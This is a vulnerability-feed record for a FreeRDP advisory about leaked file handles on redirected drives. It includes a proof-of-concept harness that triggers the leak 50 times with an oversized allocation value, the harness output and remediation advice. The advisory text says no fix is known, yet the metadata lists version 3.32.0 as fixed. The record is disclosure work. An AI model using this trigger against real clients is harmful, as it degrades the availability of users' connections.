{"schema":"threatline.record/2","record":{"id":"GHSA-jgw9-wqvx-j495","aliases":["GHSA-jgw9-wqvx-j495"],"summary":"Failed redirected-drive creates retain file objects and operating-system handles","details":"### Summary\r\n\r\nWhen a FreeRDP client connects to a malicious or compromised RDP server with local drive redirection enabled, the server can send `IRP_MJ_CREATE` with `AllocationSize=UINT64_MAX`. FreeRDP opens the requested local file and inserts its `DRIVE_FILE` into the drive dictionary before applying the allocation size. The seek fails because the requested offset exceeds `INT64_MAX`, but the error return neither removes nor frees the registered object. The object and operating-system handle remain live until drive teardown.\r\n\r\nThe behavior was introduced in 3.13.0 and remains in 3.31.1 and current `master`. No fixed release is known. This report does not claim remote code execution, memory corruption, access outside the shared directory, or retention beyond device teardown.\r\n\r\n### Root cause\r\n\r\n`drive_process_irp_create` in `channels/drive/client/drive_main.c` transfers the opened file into dictionary ownership before its fallible allocation-size operations:\r\n\r\n```c\r\nif (!ListDictionary_Add(drive->files, key, file))\r\n    return ERROR_INTERNAL_ERROR;\r\n\r\n/* disposition handling omitted */\r\n\r\nif (allocationSize > 0)\r\n{\r\n    const BYTE buffer[] = { '\\0' };\r\n    if (!drive_file_seek(file, allocationSize - sizeof(buffer)))\r\n        return ERROR_INTERNAL_ERROR;\r\n    if (!drive_file_write(file, buffer, sizeof(buffer)))\r\n        return ERROR_INTERNAL_ERROR;\r\n}\r\n```\r\n\r\nBoth post-registration errors bypass removal. `drive_file_seek` rejects an offset greater than `INT64_MAX`, making `UINT64_MAX` a deterministic trigger. The dictionary destructor eventually calls `drive_file_free`, but only when the entry is removed or the drive is torn down.\r\n\r\nCommit `bfa8c498f` added the allocation-size operations and was first released in 3.13.0. FreeRDP 3.12.0 parses but does not use the field. The ordering was directly checked in 3.13.0, 3.20.0, 3.31.1, and current `master`; no later cleanup change was found. Public issue #4161 predates this code and concerns a different redirected-folder write failure.\r\n\r\n### Security impact and prerequisites\r\n\r\n- Alice must enable drive redirection and connect to Mallory's malicious or compromised RDP server.\r\n- The shared directory must permit creation of the server-selected relative filename.\r\n- Mallory supplies `FILE_OPEN_IF`, read/write access, and `AllocationSize=UINT64_MAX`.\r\n- The handler opens and registers the file, then returns an error after the seek fails.\r\n- Each direct handler failure retains one `DRIVE_FILE` and one descriptor until drive teardown.\r\n- The normal asynchronous drive worker stops after the first handler error, which limits the demonstrated accumulation over a real connection.\r\n\r\nThe source-only harness repeated the real handler 50 times and observed 50 retained dictionary objects and 50 additional descriptors. The matched zero-allocation create/close control observed neither. A live malicious-server replay was not performed, so the report does not claim that one connection can accumulate 50 entries or exhaust a default descriptor limit.\r\n\r\nThe recommended score is **CVSS 3.1 4.3 Medium** (`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L`). Attack Vector is Network because the connected RDP server supplies the request. No server-side authentication privilege is required. User Interaction is Required because Alice must connect and enable drive redirection. Scope is unchanged, and the demonstrated impact is Low availability through connection-lifetime resource retention and file-handle pinning.\r\n\r\n### Proof of concept\r\n\r\nThe source-only PoC includes FreeRDP's unmodified drive implementation and calls the real create and close handlers against a temporary local directory. Run it against matching source, build, and library trees:\r\n\r\n```sh\r\ncd poc\r\n./run.sh <freerdp-source> <freerdp-build> <freerdp-library-dir>\r\n```\r\n\r\nObserved output:\r\n\r\n```text\r\n[attack] create_errors=50 successes=0 files_in_dict=50 fd_before=4 fd_after=54 fd_delta=50\r\nRESULT mode=attack registered_files_after_error=50 fd_leak=50\r\n[control] create_errors=0 successes=50 files_in_dict=0 fd_before=4 fd_after=4 fd_delta=0\r\nRESULT mode=control registered_files_after_error=0 fd_leak=0\r\n```\r\n\r\n<!-- BEGIN FILE: README.md -->\r\n```markdown\r\n# FreeRDP drive create resource-retention reproducer\r\n\r\nThis source-only harness includes FreeRDP's unmodified `drive_file.c` and `drive_main.c`, sends 50 IRP-shaped create requests through `drive_process_irp_create`, and measures both the product dictionary and open file descriptors. The attack uses `AllocationSize=UINT64_MAX`; the matched control uses zero and closes each successful file.\r\n\r\nRun `./run.sh <freerdp-source> <freerdp-build> <freerdp-library-dir>` against an AddressSanitizer-enabled FreeRDP build. The source and build trees must describe the same revision. The script compiles in a temporary directory and removes the binary afterward. The harness frees retained product objects and deletes its temporary file after recording each result.\r\n```\r\n<!-- END FILE: README.md -->\r\n\r\n<!-- BEGIN FILE: run.sh -->\r\n```sh\r\n#!/bin/sh\r\nset -eu\r\n\r\nif [ \"$#\" -ne 3 ]; then\r\n\techo \"usage: $0 <freerdp-source> <freerdp-build> <freerdp-library-dir>\" >&2\r\n\texit 2\r\nfi\r\n\r\nSOURCE=$1\r\nBUILD=$2\r\nLIBDIR=$3\r\nBASE_DIR=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\r\nWORK=$(mktemp -d \"${TMPDIR:-.}/freerdp-drive-retain.XXXXXX\")\r\ntrap 'rm -rf \"$WORK\"' EXIT HUP INT TERM\r\n\r\ncc -w -DNDEBUG -fsanitize=address,undefined -fno-omit-frame-pointer -g -O1 \\\r\n\t-Wno-error -ffunction-sections -fdata-sections \\\r\n\t-I\"$SOURCE/include\" -I\"$SOURCE/winpr/include\" \\\r\n\t-I\"$BUILD/winpr/include\" -I\"$BUILD/include\" \\\r\n\t-I\"$SOURCE/channels/drive/client\" \\\r\n\t-o \"$WORK/harness\" \"$BASE_DIR/harness.c\" \\\r\n\t-L\"$LIBDIR\" -Wl,-rpath,\"$LIBDIR\" \\\r\n\t-lfreerdp3 -lwinpr3 -lssl -lcrypto -lz -lpthread -Wl,--gc-sections\r\n\r\nexport LD_LIBRARY_PATH=\"$LIBDIR${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}\"\r\nexport ASAN_OPTIONS=detect_leaks=1\r\n\r\n\"$WORK/harness\" attack\r\n\"$WORK/harness\" control\r\n```\r\n<!-- END FILE: run.sh -->\r\n\r\n<!-- BEGIN FILE: harness.c -->\r\n```c\r\n/*\r\n * Exercise FreeRDP's real drive IRP create and close handlers against a real\r\n * temporary directory. The attack case supplies UINT64_MAX as AllocationSize;\r\n * the control uses zero and closes each successfully created file.\r\n */\r\n#define _GNU_SOURCE\r\n#include <dirent.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <unistd.h>\r\n\r\n#include <freerdp/channels/rdpdr.h>\r\n#include <freerdp/utils/rdpdr_utils.h>\r\n\r\n#include \"drive_file.c\"\r\n#include \"drive_main.c\"\r\n\r\nstatic int count_fds(void)\r\n{\r\n\tDIR* d = opendir(\"/proc/self/fd\");\r\n\tif (!d)\r\n\t\treturn -1;\r\n\r\n\tint n = 0;\r\n\tstruct dirent* entry = NULL;\r\n\twhile ((entry = readdir(d)) != NULL)\r\n\t{\r\n\t\tif ((strcmp(entry->d_name, \".\") != 0) && (strcmp(entry->d_name, \"..\") != 0))\r\n\t\t\tn++;\r\n\t}\r\n\tclosedir(d);\r\n\treturn n;\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tconst BOOL attack = (argc > 1) && (strcmp(argv[1], \"attack\") == 0);\r\n\tchar tmpdir[] = \"/tmp/freerdp-drive-retain-XXXXXX\";\r\n\tchar* dir = mkdtemp(tmpdir);\r\n\tif (!dir)\r\n\t{\r\n\t\tperror(\"mkdtemp\");\r\n\t\treturn 2;\r\n\t}\r\n\r\n\tWCHAR* wdir = ConvertUtf8ToWCharAlloc(dir, NULL);\r\n\tif (!wdir)\r\n\t\treturn 2;\r\n\r\n\tDRIVE_DEVICE drive;\r\n\tmemset(&drive, 0, sizeof(drive));\r\n\tdrive.path = wdir;\r\n\tdrive.files = ListDictionary_New(TRUE);\r\n\tif (!drive.files)\r\n\t\treturn 2;\r\n\tListDictionary_ValueObject(drive.files)->fnObjectFree = drive_file_objfree;\r\n\r\n\tDEVMAN devman;\r\n\tmemset(&devman, 0, sizeof(devman));\r\n\tdevman.id_sequence = 1000;\r\n\r\n\tconst int fd_before = count_fds();\r\n\tunsigned errors = 0;\r\n\tunsigned successes = 0;\r\n\r\n\tfor (int i = 0; i < 50; i++)\r\n\t{\r\n\t\tIRP irp;\r\n\t\tmemset(&irp, 0, sizeof(irp));\r\n\t\tirp.devman = &devman;\r\n\t\tirp.input = Stream_New(NULL, 128);\r\n\t\tirp.output = Stream_New(NULL, 32);\r\n\t\tif (!irp.input || !irp.output)\r\n\t\t\treturn 2;\r\n\r\n\t\tstatic const WCHAR name[] = { 'r', 'e', 't', 'a', 'i', 'n', '.', 'b', 'i', 'n', 0 };\r\n\t\tconst UINT32 path_length =\r\n\t\t    (UINT32)((sizeof(name) / sizeof(WCHAR)) - 1) * sizeof(WCHAR);\r\n\r\n\t\tStream_Write_UINT32(irp.input, GENERIC_READ | GENERIC_WRITE);\r\n\t\tStream_Write_UINT64(irp.input, attack ? UINT64_MAX : 0);\r\n\t\tStream_Write_UINT32(irp.input, 0);   /* FileAttributes */\r\n\t\tStream_Write_UINT32(irp.input, 0x7); /* SharedAccess */\r\n\t\tStream_Write_UINT32(irp.input, FILE_OPEN_IF);\r\n\t\tStream_Write_UINT32(irp.input, 0);           /* CreateOptions */\r\n\t\tStream_Write_UINT32(irp.input, path_length); /* PathLength */\r\n\t\tStream_Write(irp.input, name, path_length);\r\n\t\tStream_SealLength(irp.input);\r\n\t\tStream_SetPosition(irp.input, 0);\r\n\r\n\t\tconst UINT rc = drive_process_irp_create(&drive, &irp);\r\n\t\tif (attack)\r\n\t\t{\r\n\t\t\tif (rc == ERROR_INTERNAL_ERROR)\r\n\t\t\t\terrors++;\r\n\t\t}\r\n\t\telse if (rc == CHANNEL_RC_OK)\r\n\t\t{\r\n\t\t\tsuccesses++;\r\n\t\t\tStream_SetPosition(irp.output, 0);\r\n\t\t\tUINT32 id = 0;\r\n\t\t\tStream_Read_UINT32(irp.output, id);\r\n\t\t\tirp.FileId = id;\r\n\t\t\t(void)drive_process_irp_close(&drive, &irp);\r\n\t\t}\r\n\t\tStream_Free(irp.input, TRUE);\r\n\t\tStream_Free(irp.output, TRUE);\r\n\t}\r\n\r\n\tconst int fd_after = count_fds();\r\n\tconst size_t retained = ListDictionary_Count(drive.files);\r\n\tconst int fd_delta = fd_after - fd_before;\r\n\tprintf(\"[%s] create_errors=%u successes=%u files_in_dict=%zu fd_before=%d fd_after=%d \"\r\n\t       \"fd_delta=%d\\n\",\r\n\t       attack ? \"attack\" : \"control\", errors, successes, retained, fd_before, fd_after,\r\n\t       fd_delta);\r\n\tprintf(\"RESULT mode=%s registered_files_after_error=%zu fd_leak=%d\\n\",\r\n\t       attack ? \"attack\" : \"control\", retained, fd_delta);\r\n\r\n\tconst BOOL passed = attack ? ((errors == 50) && (retained == 50) && (fd_delta == 50))\r\n\t                           : ((successes == 50) && (retained == 0) && (fd_delta == 0));\r\n\r\n\tListDictionary_Free(drive.files);\r\n\tfree(wdir);\r\n\tchar path[512] = { 0 };\r\n\t(void)snprintf(path, sizeof(path), \"%s/retain.bin\", dir);\r\n\t(void)unlink(path);\r\n\t(void)rmdir(dir);\r\n\treturn passed ? 0 : 1;\r\n}\r\n```\r\n<!-- END FILE: harness.c -->\r\n\r\n### Suggested remediation\r\n\r\nDo not register the file until allocation-size processing succeeds. Alternatively, direct every post-registration failure through one cleanup path that removes the dictionary entry and therefore closes and frees the object. Also free the new file if `ListDictionary_Add` itself fails because ownership was not transferred.\r\n\r\nAdd an end-to-end regression test that sends the oversized allocation value and asserts an error response without changing dictionary or descriptor counts. Keep a successful zero-allocation create/close as the control and test a post-seek write failure separately.","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-jgw9-wqvx-j495","source_modified_at":"2026-09-30T21:42:48Z","fetched_at":"2026-10-23T18:52:38.922436Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 3.13.0, <= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-jgw9-wqvx-j495","source_modified_at":"2026-09-30T21:42:48Z","fetched_at":"2026-10-23T18:52:38.922436Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":4.3,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-30T21:42:48Z","modified_at":"2026-09-30T21:42:48Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-jgw9-wqvx-j495","fetched_at":"2026-10-23T18:52:38.922436Z","source_modified_at":"2026-09-30T21:42:48Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-30T21:42:48Z","content_hash":"687e60d639e812ba703df07abfba389b370742ada694451e20756e147ddf7673"}}
